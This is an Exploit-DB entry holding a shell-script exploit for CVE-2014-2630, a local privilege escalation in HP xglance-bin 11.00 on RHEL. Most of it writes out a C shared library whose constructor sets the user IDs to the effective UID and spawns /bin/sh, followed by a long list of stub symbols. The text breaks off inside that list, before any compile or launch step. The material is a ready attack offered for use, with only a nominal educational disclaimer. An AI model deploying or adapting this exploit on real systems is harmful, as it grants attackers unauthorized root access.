Exploit-DB #48000
Description: xglance-bin 11.00 - Privilege Escalation
Type: local
Platform: linux
Date: 2020-02-05
Author: redtimmysec

Exploit:
# Exploit Title: xglance-bin 11.00 - Privilege Escalation
# Exploit Author: Robert Jaroszuk and Marco Ortisi (RedTimmy Security)
# Date: 2020-02-01
# Tested on: RHEL 5.x/6.x/7.x/8.x
# CVE: CVE-2014-2630
# Disclamer: This exploit is for educational purpose only
# More details on https://redtimmysec.wordpress.com/2020/02/04/perf-exploiter/
#

#!/bin/sh

echo "[*] Hewlett-Packard Performance Monitoring for Open System Environments exploit by Robert Jaroszuk and Marco Ortisi (RedTimmy Security)"
echo
echo "[+] Preparing the code..."

cat > lib.c << DONE

#define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <stdio.h>
#include <dlfcn.h>

void __cxa_finalize (void *d) {
    return;
}

void __attribute__((constructor)) init() {
    setresuid(geteuid(), geteuid(), geteuid());
    printf("Hewlett-Packard Performance Monitoring for Open System Environments exploit by Robert Jaroszuk and Marco Ortisi (RedTimmy Security)\n");
    printf("CVE-2014-2630\n");
    fflush(stdout);
    execl("/bin/sh", (char *)NULL, (char *)NULL);
}

int applicationShellClassRec = 0;
int applicationShellWidgetClass = 0;
int colorConvertArgs = 0;
int compositeWidgetClass = 0;
int constraintClassRec = 0;
int constraintWidgetClass = 0;
int coreWidgetClass = 0;
int dump_external = 0;
int dump_fontlist = 0;
int dump_fontlist_cache = 0;
int dump_internal = 0;
int FcPatternAddInteger = 0;
int FcPatternAddString = 0;
int FcPatternCreate = 0;
int FcPatternDestroy = 0;
int GetWidgetNavigPtrs = 0;
int InitializeScrollBars = 0;
int _ITM_deregisterTMCloneTable = 0;
int _ITM_registerTMCloneTable = 0;
int jpeg_calc_output_dimensions = 0;
int jpeg_CreateDecompress = 0;
int jpeg_destroy_decompress = 0;
int jpeg_finish_decompress = 0;
int jpeg_read_header = 0;
int jpeg_read_scanlines = 0;
int jpeg_start_decompress = 0;
int jpeg_std_error = 0;
int jpeg_stdio_src = 0;
int load_jpeg = 0;
int localeconv = 0;
int __longjmp_chk = 0;
int nl_langinfo = 0;
int NumLockMask = 0;
int objectClass = 0;
int objectClassRec = 0;
int overrideShellClassRec = 0;
int png_create_info_struct = 0;
int png_create_read_struct = 0;
int png_destroy_read_struct = 0;
int png_get_channels = 0;
int png_get_gAMA = 0;
int png_get_IHDR = 0;
int png_get_rowbytes = 0;
int png_get_valid = 0;
int png_init_io = 0;
int png_read_end = 0;
int png_read_image = 0;
int png_read_info = 0;
int png_read_update_info = 0;
int png_set_expand = 0;
int png_set_gamma = 0;
int png_set_gray_to_rgb = 0;
int png_set_longjmp_fn = 0;
int png_set_sig_bytes = 0;
int png_set_strip_16 = 0;
int png_sig_cmp = 0;
int rectObjClass = 0;
int rectObjClassRec = 0;
int ScrollLockMask = 0;
int SetMwmStuff = 0;
int T = 0;
int topLevelShellWidgetClass = 0;
int transientShellClassRec = 0;
int transientShellWidgetClass = 0;
int V = 0;
int vendorShellClassRec = 0;
int vendorShellWidgetClass = 0;
int W = 0;
int __wctomb_chk = 0;
int widgetClass = 0;
int widgetClassRec = 0;
int wmShellClassRec = 0;
int wmShellWidgetClass = 0;
int XAddExtension = 0;
int XAllocColor = 0;
int XAllocColorCells = 0;
int XAllowEvents = 0;
int XBell = 0;
int XChangeActivePointerGrab = 0;
int XChangeGC = 0;
int XChangeProperty = 0;
int XChangeWindowAttributes = 0;
int XCheckIfEvent = 0;
int XCheckMaskEvent = 0;
int XClearArea = 0;
int XClearWindow = 0;
int XCloseDisplay = 0;
int XCloseIM = 0;
int XConfigureWindow = 0;
int XConvertSelection = 0;
int XCopyArea = 0;
int XCopyPlane = 0;
int XCreateBitmapFromData = 0;
int XCreateFontCursor = 0;
int XCreateGC = 0;
int XCreateIC = 0;
int XCreateImage = 0;
int XCreatePixmap = 0;
int XCreatePixmapCursor = 0;
int XCreatePixmapFromBitmapData = 0;
int XCreateRegion = 0;
int XCreateWindow = 0;
int XDefaultColormap = 0;
int XDefaultDepth = 0;
int XDefaultScreen = 0;
int XDefaultVisual = 0;
int XDefineCursor = 0;
int XDeleteContext = 0;
int XDeleteProperty = 0;
int XDestroyIC = 0;
int XDestroyRegion = 0;
int XDestroyWindow = 0;
int XDisplayKeycodes = 0;
int XDisplayOfScreen = 0;
int XDisplayString = 0;
int XDrawArc = 0;
int XDrawImageString = 0;
int XDrawImageString16 = 0;
int XDrawLine = 0;
int XDrawLines = 0;
int XDrawPoint = 0;
int XDrawRectangle = 0;
int XDrawSegments = 0;
int XDrawString = 0;
int XDrawString16 = 0;
int _XEditResGet16 = 0;
int _XEditResGet32 = 0;
int _XEditResGet8 = 0;
int _XEditResGetSigned16 = 0;
int _XEditResGetString8 = 0;
int _XEditResGetWidgetInfo = 0;
int _XEditResPut16 = 0;
int _XEditResPut32 = 0;
int _XEditResPut8 = 0;
int _XEditResPutString8 = 0;
int _XEditResPutWidgetInfo = 0;
int _XEditResResetStream = 0;
int XEmptyRegion = 0;
int XEqualRegion = 0;
int XESetCloseDisplay = 0;
int XExtentsOfFontSet = 0;
int XFetchBuffer = 0;
int XFillArc = 0;
int XFillPolygon = 0;
int XFillRectangle = 0;
int XFillRectangles = 0;
int XFindContext = 0;
int XFlush = 0;
int XFontsOfFontSet = 0;
int XFree = 0;
int XFreeColors = 0;
int XFreeCursor = 0;
int XFreeFont = 0;
int XFreeFontNames = 0;
int XFreeGC = 0;
int XFreeModifiermap = 0;
int XFreePixmap = 0;
int XFreeStringList = 0;
int XftDrawCreate = 0;
int XftDrawCreateBitmap = 0;
int XftDrawDestroy = 0;
int XftDrawRect = 0;
int XftDrawSetClip = 0;
int XftDrawSetClipRectangles = 0;
int XftDrawString16 = 0;
int XftDrawString32 = 0;
int XftDrawStringUtf8 = 0;
int XftFontClose = 0;
int XftFontMatch = 0;
int XftFontOpenPattern = 0;
int XftTextExtents16 = 0;
int XftTextExtents32 = 0;
int XftTextExtents8 = 0;
int XftTextExtentsUtf8 = 0;
int XGetAtomName = 0;
int XGetFontProperty = 0;
int XGetGCValues = 0;
int XGetGeometry = 0;
int XGetICValues = 0;
int XGetImage = 0;
int XGetIMValues = 0;
int XGetInputFocus = 0;
int XGetKeyboardMapping = 0;
int XGetModifierMapping = 0;
int XGetOCValues = 0;
int XGetOMValues = 0;
int XGetSelectionOwner = 0;
int XGetWindowAttributes = 0;
int XGetWindowProperty = 0;